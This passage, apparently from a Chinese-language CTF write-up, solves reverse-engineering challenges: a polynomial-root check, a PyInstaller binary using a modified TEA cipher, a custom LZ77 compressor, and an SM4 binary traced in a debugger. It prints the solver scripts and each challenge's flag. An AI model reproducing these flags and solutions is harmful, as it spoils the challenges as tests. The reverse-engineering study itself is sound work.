v = (s0 << 8) ^ z3.Select(MUL_A_ARR, z3.Extract(31, 24, s0)) ^ s2 ^ z3.LShR(s11, 8) ^ z3.Select(DIV_A_ARR, z3.Extract(7, 0, s11))
s_state = s_state[1:] + [v]
print("Solving for t=0 directly...")
if solver.check() != z3.sat:
print("UNSAT")
exit()
model = solver.model()
rec_s = [model.eval(z3.BitVec(f's_{i}', 32)).as_long() for i in range(16)]
rec_r = [model.eval(z3.BitVec(f'r{i}', 32)).as_long() for i in range(1, 4)]
state_bytes = b"".join(x.to_bytes(4, "big") for x in rec_s[::-1])
+ rec_r[0].to_bytes(4, "big") + rec_r[1].to_bytes(4, "big") + rec_r[2].to_bytes(4, "big")
flag = 'UniCTF{' + sha1(state_bytes).hexdigest() + '}'
print("Flag:", flag)

UniCTF{19e4235fc574ba94f4822c4b3bf03741ecfc0940}
Reverse
c_polynomial


该程序计算一个8次多项式,它测试从-60到+59的每个整数,我们需要获取:v5数据


它检查 0 <= (u+37) <= 54,因此只考虑 v5 的第 0 到 54 位。所以对于每个从 -60 到 59 的整数 i,它会查看 v5 中的第 (i+37) 位。如果那一位是 1,则多项式必须为 0;如果那一位是 0,则多项式必须非零。所以 根= i = bit_index -37
exp.py
v5 = 0x400C0210000001
roots = [bit - 37 for bit in range(64) if (v5 >> bit) & 1]
print("roots =", roots)

然后根据代码从逆向工程中,我们只需要放入根并检查数字是否是多项式,并且需要检查 c6 = 44114,c7 = -606,如果 c6 和 c7 都正确,那么我们就得到了正确的数字
exp.py
from fractions import Fraction
import struct
roots = [-37, -9, -4, 5, 6, 17]
c6 = 44114
c7 = -606
c8 = 1
A = []
b = []
for x in roots:
row = [Fraction(x**j) for j in range(0, 6)]
rhs = - (Fraction(c6 * (x**6)) + Fraction(c7 * (x**7)) + Fraction(c8 * (x**8)))
A.append(row)
b.append(rhs)
def gauss_solve(A, b):
n = len(A)
m = len(A[0])
M = [A[i][:] + [b[i]] for i in range(n)]
row = 0
col = 0
while row < n and col < m:
sel = None
for i in range(row, n):
if M[i][col] != 0:
sel = i
break
if sel is None:
col += 1
continue
M[row], M[sel] = M[sel], M[row]
piv = M[row][col]
M[row] = [v / piv for v in M[row]]
for i in range(n):
if i != row and M[i][col] != 0:
factor = M[i][col]
M[i] = [M[i][j] - factor * M[row][j] for j in range(m + 1)]
row += 1
col += 1
sol = [M[i][-1] for i in range(n)]
return sol
sol = gauss_solve(A, b)
coeffs_exact = [int(s) for s in sol] + [c6, c7, c8]
print("Solved (exact) coefficients (c0..c8):")
for i, v in enumerate(coeffs_exact):
print(f" c[{i}] = {v}")
def pack_int32_signed(x):
ux = x & 0xFFFFFFFF
return struct.pack('<I', ux)
c = coeffs_exact
Src = [0]*7
Src[0] = c[0]
Src[1] = c[1]
Src[2] = c[2]
Src[3] = c[3]
low4 = c[4] & 0xFFFF
high4 = c[5] & 0xFFFF
Src[4] = (high4 << 16) | low4
low5 = c[6] & 0xFFFF
high5 = c[7] & 0xFFFF
Src[5] = (high5 << 16) | low5
Src[6] = (0 << 16) | (c[8] & 0xFFFF)

-39805434720 1913427864 2877618036 -195296614 -37214631 1704556 44114 -606 1
填入就行

unictf{19287189-291837918-knsadainwak-siadnwoadiasg}
Strange_Py
pyinstxtractor 解包

解包:使用 pyinstxtractor.py 对 encrypt.exe 进行解包。
发现缺失:解包后发现关键逻辑不在主函数 encrypt.pyc 中,而是引用了 tea 模块。但在自动提取的文件夹中,PYZ-00.pyz_extracted 目录下没有直接生成可用的 tea.pyc(或者文件头损坏)。
encrypt.pyc
# Source Generated with Decompyle++
# File: encrypt.pyc (Python 3.9)
import tkinter as tk
from tkinter import filedialog, messagebox
from os import path
file_data = None
file_path = None
def select_file():
'''选择文件并读取字节数据流'''
global file_path, file_data, file_data
file_path = filedialog.askopenfilename('选择加密的文件', [
('所有文件', '*.*'),
('文本文件', '*.txt'),
('二进制文件', '*.bin')], **('title', 'filetypes'))
if not file_path:
messagebox.showinfo('提示', '未选择任何文件')
return None
with open(file_path, 'rb') as f:
file_data = f.read()
if len(file_data) % 8 != 0:
file_data += b'x00' * (8 - len(file_data))
None(None, None, None)
# WARNING: Decompyle incomplete
def encrypt_and_export():
'''加密数据并导出文件'''
if file_data is None:
messagebox.showwarning('警告', '请先选择并读取需要加密的文件')
return None
encoded = encoded
import tea
encrypted_data = encoded(file_data)
save_path = filedialog.asksaveasfilename('选择保存位置', '.enc', [
('加密文件', '*.enc'),
('所有文件', '*.*')], **('title', 'defaultextension', 'filetypes'))
if not save_path:
messagebox.showinfo('提示', '取消保存')
return None
with open(save_path, 'wb') as f:
f.write(encrypted_data)
None(None, None, None)
# WARNING: Decompyle incomplete
root = tk.Tk()
root.title('文件加密工具')
root.geometry('400x200')
btn_select = tk.Button(root, '选择加密的文件', select_file, 20, 2, **('text', 'command', 'width', 'height'))
btn_select.pack(20, **('pady',))
btn_encrypt = tk.Button(root, '加密导出', encrypt_and_export, 20, 2, **('text', 'command', 'width', 'height'))
btn_encrypt.pack(10, **('pady',))
root.mainloop()

手动提取:
- 使用
pyi-archive_viewer工具打开encrypt.exe。 - 进入
PYZ-00.pyz。 - 找到并提取
tea文件。
修复文件头:提取出的 tea 文件缺少 Python 的 Magic Number。根据主程序版本(Python 3.9),使用十六进制编辑器或脚本补全文件头 16 字节(例如 61 0d 0d 0a 00 00 00 00 ...)。
反编译:修复后使用 pycdc 或 pycdas 得到汇编指令或源码。
pyi-archive_viewer encrypt.exe



加密逻辑
1. 密钥生成与变换
- 代码调用
randint1(16)生成了 16 字节的原始随机数。 - 关键点:这 16 字节通过
join1(转十六进制字符串)和by(转大端序整数列表)两个函数处理后,才作为 TEA 算法的key。 - 这意味着我们解密时,拿到字节后需要按 Big Endian(大端序) 转换为整数数组。
2. 魔改 TEA 算法参数 从汇编指令中提取出常数:
- Delta:
305419896(十六进制0x12345678)。 - Rounds:
50轮(标准 TEA 通常是 32 轮)。
3. 魔改 TEA 核心运算 最关键的修改在于 v1 的更新逻辑。在汇编中:
BINARY_RSHIFT
BINARY_SUBTRACT <-- 关键指令
这表明在计算过程中,有一步是将 key[3] 减去 (v0 >> 5),而不是标准算法的加法。这是解密脚本编写中最容易出错的地方。
4. 文件结构与 XOR 分析循环逻辑发现:
- 加密数据以 16 字节为一个块。
- 前 8 字节经过 TEA 加密。
- 后 8 字节是随机生成的掩码(Salt)。
- 密文生成逻辑:
TEA_Encrypt(Data) ^ Salt。 - Key 的位置:由于代码是追加写入,且我们在尝试解密时发现从文件头解密失败,推断 Key 被追加到了文件末尾。
解flag.enc 脚本呈现
import struct
from ctypes import c_uint32
import os
def tea_decrypt_block(v0, v1, key, rounds=50, delta=0x12345678):
v0 = c_uint32(v0)
v1 = c_uint32(v1)
v = c_uint32(0)
for _ in range(rounds):
v.value = (v.value - delta) & 0xFFFFFFFF
for _ in range(rounds):
temp_sum_v_v0 = (v.value + v0.value) & 0xFFFFFFFF
temp_key3_v0_shift = (key[3] - (v0.value >> 5)) & 0xFFFFFFFF
temp_key2_16v0 = (key[2] + (v0.value << 4)) & 0xFFFFFFFF
temp_v1_update = temp_sum_v_v0 ^ temp_key3_v0_shift ^ temp_key2_16v0
v1.value = (v1.value - temp_v1_update) & 0xFFFFFFFF
temp_sum_v_v1 = (v.value + v1.value) & 0xFFFFFFFF
temp_key1_v1_shift = (key[1] + (v1.value >> 5)) & 0xFFFFFFFF
temp_key0_16v1 = (key[0] + (v1.value << 4)) & 0xFFFFFFFF
temp_v0_update = temp_sum_v_v1 ^ temp_key1_v1_shift ^ temp_key0_16v1
v0.value = (v0.value - temp_v0_update) & 0xFFFFFFFF
v.value = (v.value + delta) & 0xFFFFFFFF
return v0.value, v1.value
def xor_bytes(data, key_bytes):
return bytes([a ^ b for a, b in zip(data, key_bytes)])
def join1(byte_list):
return ''.join(f'{b:02x}' for b in byte_list)
def by(hex_str):
result = []
for i in range(0, len(hex_str), 8):
result.append(int(hex_str[i:i+8], 16))
return result
def main():
if not os.path.exists('flag.enc'):
print("flag.enc not found")
return
with open('flag.enc', 'rb') as f:
enc_data = f.read()
bt_len = 0
k_bytes = b''
found = False
for padding in range(32):
possible_len = len(enc_data) - 16 - padding
if possible_len > 0 and possible_len % 16 == 0:
bt_len = possible_len
k_bytes = enc_data[bt_len:bt_len+16]
found = True
break
if not found:
print("Key not found")
return
bt = enc_data[:bt_len]
key_hex = join1(list(k_bytes))
key = by(key_hex)
decrypted = b''
for i in range(0, len(bt), 16):
block = bt[i:i+16]
tea_enc = block[:8]
n2 = block[8:16]
v0 = int.from_bytes(tea_enc[:4], 'big')
v1 = int.from_bytes(tea_enc[4:], 'big')
d0, d1 = tea_decrypt_block(v0, v1, key)
decrypted_block = d0.to_bytes(4, 'big') + d1.to_bytes(4, 'big')
decrypted += xor_bytes(decrypted_block, n2)
print(decrypted.hex())
if __name__ == '__main__':
main()

4d5a开头是 PE 文件windows可执行文件

010导入十六进制

保存为exe

Unictf{W0OL!!!_Y0uh@Ve_fOuNd_mE}
r_zip

自定义压缩IDA分析compress
定位核心函数:通过交叉引用或 main 入口,定位到核心逻辑函数 compress::main。

char *compress::main()
{
void *v0; // rbx
unsigned __int64 v1; // rbp
__int64 v2; // r13
size_t v3; // rcx
__int64 v4; // rax
_QWORD *v5; // r12
double v6; // rbp
__int64 v7; // r14
__int64 i; // rbx
__int64 v9; // rbp
double *v10; // r14
__int64 (__fastcall *v11)(); // r13
__int64 v12; // r15
unsigned __int64 v13; // rbx
_QWORD *v14; // r14
__int64 v15; // rsi
double v16; // r12
_QWORD *v17; // r14
unsigned __int64 v18; // rsi
unsigned __int64 v19; // rdx
char *v20; // r8
char *v21; // rcx
unsigned __int64 v22; // rbx
void *v23; // r13
__int64 v24; // rbp
void *v25; // r12
unsigned __int64 v26; // r14
unsigned __int64 v27; // rcx
unsigned __int64 v28; // rax
unsigned __int64 v29; // rcx
__int64 v30; // r9
__int64 v31; // r10
unsigned __int64 v32; // r13
unsigned __int64 v33; // rbp
unsigned int v34; // r15d
bool v35; // di
unsigned __int64 v36; // r12
void *v37; // rax
size_t v38; // r13
char v39; // r12
void *v40; // rbp
__int64 v41; // rdx
__int64 v42; // rcx
__int64 v43; // r8
__int64 v44; // rdx
__int64 v45; // rcx
__int64 v46; // r8
size_t v47; // rsi
__int64 v48; // rdx
__int64 v49; // rcx
__int64 v50; // r8
__int64 v51; // r13
__int64 v52; // rsi
__int64 v53; // rsi
void *v55; // rbx
__int64 v56; // rsi
__int64 v57; // rsi
unsigned __int64 v58; // rbx
_QWORD *v59; // r14
__int64 v60; // rsi
void *v61; // [rsp+0h] [rbp-158h]
__int64 v62; // [rsp+0h] [rbp-158h]
char *v63; // [rsp+0h] [rbp-158h]
size_t v64; // [rsp+18h] [rbp-140h]
size_t v65; // [rsp+18h] [rbp-140h]
void *buf[2]; // [rsp+20h] [rbp-138h] BYREF
_BYTE v67[24]; // [rsp+30h] [rbp-128h]
__int64 v68; // [rsp+48h] [rbp-110h]
void *v69; // [rsp+50h] [rbp-108h]
_QWORD *v70; // [rsp+58h] [rbp-100h]
double v71; // [rsp+60h] [rbp-F8h]
double *v72; // [rsp+68h] [rbp-F0h] BYREF
__int64 (__fastcall *v73)(); // [rsp+70h] [rbp-E8h]
__int64 v74; // [rsp+78h] [rbp-E0h]
double v75; // [rsp+80h] [rbp-D8h] BYREF
_QWORD *v76; // [rsp+88h] [rbp-D0h]
__int64 v77; // [rsp+90h] [rbp-C8h]
__int128 v78; // [rsp+98h] [rbp-C0h] BYREF
__int128 v79; // [rsp+A8h] [rbp-B0h]
unsigned __int64 v80; // [rsp+B8h] [rbp-A0h]
unsigned __int64 v81; // [rsp+C0h] [rbp-98h]
unsigned __int64 v82; // [rsp+C8h] [rbp-90h]
unsigned __int64 v83; // [rsp+D0h] [rbp-88h]
unsigned __int64 v84; // [rsp+D8h] [rbp-80h]
unsigned __int64 v85; // [rsp+E0h] [rbp-78h]
unsigned __int64 v86; // [rsp+E8h] [rbp-70h]
unsigned __int64 v87; // [rsp+F0h] [rbp-68h]
unsigned __int64 v88; // [rsp+F8h] [rbp-60h]
unsigned __int64 v89; // [rsp+100h] [rbp-58h]
unsigned __int64 v90; // [rsp+108h] [rbp-50h]
unsigned __int64 v91; // [rsp+110h] [rbp-48h]
char *v92; // [rsp+118h] [rbp-40h]
_QWORD *v93; // [rsp+120h] [rbp-38h] BYREF
std::env::args(&v78);
<std::env::Args as core::iter::traits::iterator::Iterator>::next(buf, &v78);
v0 = buf[0];
if ( __OFSUB__(-(__int64)buf[0], 1) )
{
if ( *((_QWORD *)&v79 + 1) != *((_QWORD *)&v78 + 1) )
{
v58 = (*((_QWORD *)&v79 + 1) - *((_QWORD *)&v78 + 1)) / 0x18uLL;
v59 = (_QWORD *)(*((_QWORD *)&v78 + 1) + 8LL);
do
{
v60 = *(v59 - 1);
if ( v60 )
__rustc::__rust_dealloc(*v59, v60, 1);
v59 += 3;
--v58;
}
while ( v58 );
}
if ( (_QWORD)v79 )
__rustc::__rust_dealloc(v78, 24 * v79, 8);
v71 = 0.0;
LABEL_139:
buf[0] = &off_5F3A8;
buf[1] = &dword_0 + 1;
*(_QWORD *)v67 = 8;
*(_OWORD *)&v67[8] = 0;
std::io::stdio::_eprint(buf);
std::process::exit(1);
}
v61 = buf[1];
v1 = 3;
if ( 0xAAAAAAAAAAAAAAABLL * ((*((_QWORD *)&v79 + 1) - *((_QWORD *)&v78 + 1)) >> 3) >= 4 )
v1 = 0xAAAAAAAAAAAAAAABLL * ((*((_QWORD *)&v79 + 1) - *((_QWORD *)&v78 + 1)) >> 3);
if ( *((_QWORD *)&v79 + 1) - *((_QWORD *)&v78 + 1) > 0x7FFFFFFFFFFFFFE0uLL )
{
v2 = 0;
goto LABEL_6;
}
v3 = *(_QWORD *)v67;
if ( 3 * (8 * v1 + 8) )
{
v64 = *(_QWORD *)v67;
RNvCsiGVaDesi5rv_7___rustc35___rust_no_alloc_shim_is_unstable_v2();
v2 = 8;
v4 = __rustc::__rust_alloc(3 * (8 * v1 + 8), 8);
if ( !v4 )
LABEL_6:
alloc::raw_vec::handle_error(v2, 3 * (8 * v1 + 8));
v5 = (_QWORD *)v4;
*(_QWORD *)&v6 = v1 + 1;
v3 = v64;
}
else
{
v5 = (_QWORD *)&byte_8;
v6 = 0.0;
}
*v5 = v0;
v5[1] = v61;
v5[2] = v3;
v75 = v6;
v76 = v5;
v77 = 1;
*(_OWORD *)v67 = v79;
*(_OWORD *)buf = v78;
v7 = 2;
for ( i = 5; ; i += 3 )
{
<std::env::Args as core::iter::traits::iterator::Iterator>::next(&v72, buf);
v62 = v7;
v9 = v7 - 1;
v10 = v72;
if ( v72 == (double *)0x8000000000000000LL )
break;
v11 = v73;
v12 = v74;
if ( v9 == *(_QWORD *)&v75 )
{
alloc::raw_vec::RawVecInner<A>::reserve::do_reserve_and_handle(
&v75,
v9,
0xAAAAAAAAAAAAAAABLL * ((*(_QWORD *)&v67[8] - (unsigned __int64)buf[1]) >> 3) + 1);
v5 = v76;
}
v5[i - 2] = v10;
v5[i - 1] = v11;
v5[i] = v12;
v77 = v62;
v7 = v62 + 1;
}
if ( *(void **)&v67[8] != buf[1] )
{
v13 = (*(_QWORD *)&v67[8] - (unsigned __int64)buf[1]) / 0x18;
v14 = (char *)buf[1] + 8;
do
{
v15 = *(v14 - 1);
if ( v15 )
__rustc::__rust_dealloc(*v14, v15, 1);
v14 += 3;
--v13;
}
while ( v13 );
}
if ( *(_QWORD *)v67 )
__rustc::__rust_dealloc(buf[0], 24LL * *(_QWORD *)v67, 8);
v16 = v75;
v17 = v76;
if ( v62 != 4 )
{
v71 = v75;
goto LABEL_139;
}
v93 = v76 + 6;
v18 = v76[4];
std::fs::read::inner(buf, v18, v76[5]);
v21 = (char *)buf[0];
v63 = (char *)buf[1];
if ( buf[0] != (void *)0x8000000000000000LL )
{
v22 = *(unsigned __int64 *)v67;
v23 = (void *)(2LL * *(_QWORD *)v67);
v71 = v16;
v69 = buf[0];
if ( (*(_QWORD *)v67 & 0x4000000000000000LL) != 0 )
{
v24 = 0;
goto LABEL_27;
}
if ( 2LL * *(_QWORD *)v67 )
{
RNvCsiGVaDesi5rv_7___rustc35___rust_no_alloc_shim_is_unstable_v2();
v24 = 1;
v18 = 1;
v25 = (void *)__rustc::__rust_alloc(v23, 1);
if ( !v25 )
LABEL_27:
alloc::raw_vec::handle_error(v24, v23);
}
else
{
v25 = &dword_0 + 1;
}
v70 = v17;
buf[0] = v23;
buf[1] = v25;
*(_QWORD *)v67 = 0;
if ( *(double *)&v22 != 0.0 )
{
v92 = v63 + 14;
*(double *)&v65 = 0.0;
v26 = 0;
while ( 1 )
{
v27 = 0;
if ( v26 >= 0x100 )
v27 = v26 - 256;
if ( v27 >= v26 )
break;
v28 = v26 + 1;
v29 = v26 + 2;
v91 = v26 + 3;
v90 = v26 + 4;
v89 = v26 + 5;
v88 = v26 + 6;
v87 = v26 + 7;
v86 = v26 + 8;
v85 = v26 + 9;
v84 = v26 + 10;
v83 = v26 + 11;
v82 = v26 + 12;
v81 = v26 + 13;
v30 = 256;
if ( v26 < 0x100 )
v30 = v26;
v80 = v26 + 14;
v19 = (unsigned __int64)v92;
v20 = &v92[v26];
v31 = 0;
v32 = v26;
v33 = 0;
v34 = 0;
do
{
if ( v32 - v30 >= v22 )
{
v35 = 0;
v36 = 0;
}
else
{
v18 = (unsigned __int8)v20[-v30 - 14];
v35 = 0;
v19 = (unsigned __int64)v63;
v36 = (_BYTE)v18 == (unsigned __int8)v63[v26];
if ( (_BYTE)v18 == v63[v26] && v28 < v22 )
{
v18 = v32 - v30 + 1;
if ( v18 >= v22 )
{
v36 = 1;
v35 = 0;
}
else
{
v18 = (unsigned __int8)v20[-v30 - 13];
v19 = (unsigned __int8)v63[v28];
v36 = ((_BYTE)v18 == (unsigned __int8)v19) + 1LL;
v35 = 0;
if ( (_BYTE)v18 == (_BYTE)v19 && v29 < v22 )
{
v19 = v32 - v30 + 2;
if ( v19 >= v22 )
{
v36 = 2;
v35 = 0;
}
else
{
v19 = (unsigned __int8)v20[-v30 - 12];
v18 = (unsigned __int8)v63[v29];
v36 = ((_BYTE)v19 != (unsigned __int8)v18) ^ 3LL;
v35 = (_BYTE)v19 == (unsigned __int8)v18;
if ( (_BYTE)v19 == (_BYTE)v18 && v91 < v22 )
{
v19 = v32 - v30 + 3;
v36 = 3;
v35 = 1;
if ( v19 < v22 )
{
v19 = (unsigned __int8)v20[-v30 - 11];
v18 = (unsigned __int8)v63[v91];
v36 = ((_BYTE)v19 == (unsigned __int8)v18) + 3LL;
if ( (_BYTE)v19 == (_BYTE)v18 && v90 < v22 )
{
v19 = v32 - v30 + 4;
v36 = 4;
if ( v19 < v22 )
{
v19 = (unsigned __int8)v20[-v30 - 10];
v18 = (unsigned __int8)v63[v90];
v36 = ((_BYTE)v19 != (unsigned __int8)v18) ^ 5LL;
if ( (_BYTE)v19 == (_BYTE)v18 && v89 < v22 )
{
v19 = v32 - v30 + 5;
v36 = 5;
if ( v19 < v22 )
{
v19 = (unsigned __int8)v20[-v30 - 9];
v18 = (unsigned __int8)v63[v89];
v36 = ((_BYTE)v19 == (unsigned __int8)v18) + 5LL;
if ( (_BYTE)v19 == (_BYTE)v18 && v88 < v22 )
{
v19 = v32 - v30 + 6;
v36 = 6;
if ( v19 < v22 )
{
v19 = (unsigned __int8)v20[-v30 - 8];
v18 = (unsigned __int8)v63[v88];
v36 = ((_BYTE)v19 != (unsigned __int8)v18) ^ 7LL;
if ( (_BYTE)v19 == (_BYTE)v18 && v87 < v22 )
{
v19 = v32 - v30 + 7;
v36 = 7;
if ( v19 < v22 )
{
v19 = (unsigned __int8)v20[-v30 - 7];
v18 = (unsigned __int8)v63[v87];
v36 = ((_BYTE)v19 == (unsigned __int8)v18) + 7LL;
if ( (_BYTE)v19 == (_BYTE)v18 && v86 < v22 )
{
v19 = v32 - v30 + 8;
v36 = 8;
if ( v19 < v22 )
{
v19 = (unsigned __int8)v20[-v30 - 6];
v18 = (unsigned __int8)v63[v86];
v36 = ((_BYTE)v19 != (unsigned __int8)v18) ^ 9LL;
if ( (_BYTE)v19 == (_BYTE)v18 && v85 < v22 )
{
v19 = v32 - v30 + 9;
v36 = 9;
if ( v19 < v22 )
{
v19 = (unsigned __int8)v20[-v30 - 5];
v18 = (unsigned __int8)v63[v85];
v36 = ((_BYTE)v19 == (unsigned __int8)v18) + 9LL;
if ( (_BYTE)v19 == (_BYTE)v18 && v84 < v22 )
{
v19 = v32 - v30 + 10;
v36 = 10;
if ( v19 < v22 )
{
v19 = (unsigned __int8)v20[-v30 - 4];
v18 = (unsigned __int8)v63[v84];
v36 = ((_BYTE)v19 != (unsigned __int8)v18) ^ 0xBLL;
if ( (_BYTE)v19 == (_BYTE)v18 && v83 < v22 )
{
v19 = v32 - v30 + 11;
v36 = 11;
if ( v19 < v22 )
{
v19 = (unsigned __int8)v20[-v30 - 3];
v18 = (unsigned __int8)v63[v83];
v36 = ((_BYTE)v19 == (unsigned __int8)v18) + 11LL;
if ( (_BYTE)v19 == (_BYTE)v18 && v82 < v22 )
{
v19 = v32 - v30 + 12;
v36 = 12;
if ( v19 < v22 )
{
v19 = (unsigned __int8)v20[-v30 - 2];
v18 = (unsigned __int8)v63[v82];
v36 = ((_BYTE)v19 != (unsigned __int8)v18) ^ 0xDLL;
if ( (_BYTE)v19 == (_BYTE)v18 && v81 < v22 )
{
v19 = v32 - v30 + 13;
v36 = 13;
if ( v19 < v22 )
{
v19 = (unsigned __int8)v20[-v30 - 1];
v18 = (unsigned __int8)v63[v81];
v36 = ((_BYTE)v19 == (unsigned __int8)v18) + 13LL;
if ( (_BYTE)v19 == (_BYTE)v18 && v80 < v22 )
{
v19 = v32 - v30 + 14;
v36 = 14;
if ( v19 < v22 )
{
v18 = (unsigned __int64)v63;
v19 = v80;
v36 = (v20[-v30] == v63[v80]) | 0xELL;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
LOBYTE(v18) = v36 > v33;
if ( v36 > v33 && v35 )
{
v34 = v30 + v31;
v33 = v36;
}
++v20;
++v32;
--v31;
}
while ( -v30 != v31 );
v37 = buf[0];
if ( v33 < 3 )
goto LABEL_98;
if ( (void *)v65 == buf[0] )
alloc::raw_vec::RawVec<T,A>::grow_one(buf);
v21 = (char *)buf[1];
*((_BYTE *)buf[1] + v65) = (v34 >> 4) | 0x80;
v38 = v65 + 1;
*(_QWORD *)v67 = v65 + 1;
v39 = (16 * v34) | v33;
if ( (void *)(v65 + 1) != buf[0] )
goto LABEL_34;
LABEL_97:
alloc::raw_vec::RawVec<T,A>::grow_one(buf);
LABEL_34:
*((_BYTE *)buf[1] + v38) = v39;
v65 = v38 + 1;
*(_QWORD *)v67 = v38 + 1;
v26 += v33;
if ( v26 >= v22 )
{
v40 = buf[0];
v25 = buf[1];
goto LABEL_102;
}
}
v37 = buf[0];
LABEL_98:
v38 = v65;
v21 = v63;
v39 = v63[v26];
v33 = 1;
if ( (void *)v65 != v37 )
goto LABEL_34;
goto LABEL_97;
}
*(double *)&v65 = 0.0;
v40 = 0;
LABEL_102:
v75 = *(double *)&v22;
v72 = &v75;
v73 = core::fmt::num::imp::<impl core::fmt::Display for usize>::fmt;
buf[0] = &off_5F328;
buf[1] = &dword_0 + 2;
*(_QWORD *)&v67[16] = 0;
*(_QWORD *)v67 = &v72;
*(_QWORD *)&v67[8] = 1;
std::io::stdio::_print(buf, v18, v19, v21, v20);
v75 = *(double *)&v65;
v72 = &v75;
v73 = core::fmt::num::imp::<impl core::fmt::Display for usize>::fmt;
buf[0] = &off_5F348;
buf[1] = &dword_0 + 2;
*(_QWORD *)&v67[16] = 0;
*(_QWORD *)v67 = &v72;
*(_QWORD *)&v67[8] = 1;
std::io::stdio::_print(buf, v18, v41, v42, v43);
if ( *(double *)&v22 != 0.0 )
{
v75 = (1.0 - (double)(int)v65 / (double)(int)v22) * 100.0;
v72 = &v75;
v73 = core::fmt::float::<impl core::fmt::Display for f64>::fmt;
buf[0] = &off_5F368;
buf[1] = &dword_0 + 2;
*(_QWORD *)&v67[16] = &off_8FE8;
v68 = 1;
*(_QWORD *)v67 = &v72;
*(_QWORD *)&v67[8] = 1;
std::io::stdio::_print(buf, v18, v44, v45, v46);
}
v17 = v70;
v47 = v70[8];
v51 = std::fs::write::inner((void *)v70[7], v47, v25, v65);
if ( v40 )
{
v47 = (size_t)v40;
__rustc::__rust_dealloc(v25, v40, 1);
}
if ( !v51 )
{
v72 = (double *)&v93;
v73 = <&T as core::fmt::Display>::fmt;
buf[0] = &off_5F388;
buf[1] = &dword_0 + 2;
*(_QWORD *)&v67[16] = 0;
*(_QWORD *)v67 = &v72;
*(_QWORD *)&v67[8] = 1;
v16 = v71;
v55 = v69;
std::io::stdio::_print(buf, v47, v48, v49, v50);
if ( v55 )
__rustc::__rust_dealloc(v63, v55, 1);
if ( *v17 )
__rustc::__rust_dealloc(v17[1], *v17, 1);
v56 = v17[3];
if ( v56 )
__rustc::__rust_dealloc(v17[4], v56, 1);
v57 = v17[6];
if ( v57 )
__rustc::__rust_dealloc(v17[7], v57, 1);
v63 = 0;
if ( v16 != 0.0 )
goto LABEL_117;
return v63;
}
v16 = v71;
if ( v69 )
__rustc::__rust_dealloc(v63, v69, 1);
v63 = (char *)v51;
}
if ( *v17 )
__rustc::__rust_dealloc(v17[1], *v17, 1);
v52 = v17[3];
if ( v52 )
__rustc::__rust_dealloc(v17[4], v52, 1);
v53 = v17[6];
if ( v53 )
__rustc::__rust_dealloc(v17[7], v53, 1);
if ( v16 != 0.0 )
LABEL_117:
__rustc::__rust_dealloc(v17, 24LL * *(_QWORD *)&v16, 8);
return v63;
}
算法逻辑:
分析 compress::main 的反编译代码可知,这是一个 LZ77 变种压缩算法。
读取字节 b1,检查最高位(0x80)。
字面量:若 b1 < 0x80,直接输出该字节。
压缩对:若 b1 >= 0x80,读取下一个字节 b2。
距离:由 b1 的低7位和 b2 的高4位组成。
长度:由 b2 的低4位组成。
根据距离向前回溯并复制指定长度的数据。
exp.py
def solve():
with open("out1.z", "rb") as f:
data = f.read()
out = bytearray()
i = 0
while i < len(data):
b1 = data[i]
i += 1
if b1 < 0x80:
out.append(b1)
else:
if i >= len(data): break
b2 = data[i]
i += 1
dist = ((b1 & 0x7F) << 4) | (b2 >> 4)
length = b2 & 0x0F
start = len(out) - dist
for _ in range(length):
out.append(out[start])
start += 1
print(out.decode(errors='ignore'))
if __name__ == '__main__':
solve()


unictf{miaoyunmengzip}
c_sm4

用64dbg运行exe

我们可以找新入口这个是真入口

我们需要添加断点如填错了不退exe


在rtlexituserstatus上添加断点
下面是c_sm4.401500
0000000000401500 | 48:83EC 28 | sub rsp,28 |
0000000000401504 | 48:8B05 45410000 | mov rax,qword ptr ds:[405650] |
000000000040150B | C700 00000000 | mov dword ptr ds:[rax],0 |
0000000000401511 | E8 4A150000 | call c_sm4.402A60 |
0000000000401516 | E8 95FCFFFF | call c_sm4.4011B0 |
000000000040151B | 90 | nop |
000000000040151C | 90 | nop |
000000000040151D | 48:83C4 28 | add rsp,28 |
0000000000401521 | C3 | ret |
0000000000401522 | 90 | nop |
0000000000401523 | 90 | nop |
0000000000401524 | 90 | nop |
0000000000401525 | 90 | nop |
0000000000401526 | 90 | nop |
0000000000401527 | 90 | nop |
0000000000401528 | 90 | nop |
0000000000401529 | 90 | nop |
000000000040152A | 90 | nop |
000000000040152B | 90 | nop |
000000000040152C | 90 | nop |
000000000040152D | 90 | nop |
000000000040152E | 90 | nop |
000000000040152F | 90 | nop |
0000000000401530 | 55 | push rbp |
0000000000401531 | 48:89E5 | mov rbp,rsp |
0000000000401534 | 894D 10 | mov dword ptr ss:[rbp+10],ecx |
0000000000401537 | 8955 18 | mov dword ptr ss:[rbp+18],edx |
000000000040153A | 8B45 18 | mov eax,dword ptr ss:[rbp+18] |
000000000040153D | 8B55 10 | mov edx,dword ptr ss:[rbp+10] |
0000000000401540 | 89C1 | mov ecx,eax |
0000000000401542 | D3C2 | rol edx,cl |
0000000000401544 | 89D0 | mov eax,edx |
0000000000401546 | 5D | pop rbp |
0000000000401547 | C3 | ret |
0000000000401548 | 55 | push rbp |
0000000000401549 | 48:89E5 | mov rbp,rsp |
000000000040154C | 48:894D 10 | mov qword ptr ss:[rbp+10],rcx | [rbp+10]:__pioinfo
0000000000401550 | 48:8B45 10 | mov rax,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
0000000000401554 | 0FB600 | movzx eax,byte ptr ds:[rax] |
0000000000401557 | 0FB6C0 | movzx eax,al |
000000000040155A | C1E0 18 | shl eax,18 |
000000000040155D | 89C2 | mov edx,eax |
000000000040155F | 48:8B45 10 | mov rax,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
0000000000401563 | 48:83C0 01 | add rax,1 |
0000000000401567 | 0FB600 | movzx eax,byte ptr ds:[rax] |
000000000040156A | 0FB6C0 | movzx eax,al |
000000000040156D | C1E0 10 | shl eax,10 |
0000000000401570 | 09C2 | or edx,eax |
0000000000401572 | 48:8B45 10 | mov rax,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
0000000000401576 | 48:83C0 02 | add rax,2 |
000000000040157A | 0FB600 | movzx eax,byte ptr ds:[rax] |
000000000040157D | 0FB6C0 | movzx eax,al |
0000000000401580 | C1E0 08 | shl eax,8 |
0000000000401583 | 09C2 | or edx,eax |
0000000000401585 | 48:8B45 10 | mov rax,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
0000000000401589 | 48:83C0 03 | add rax,3 |
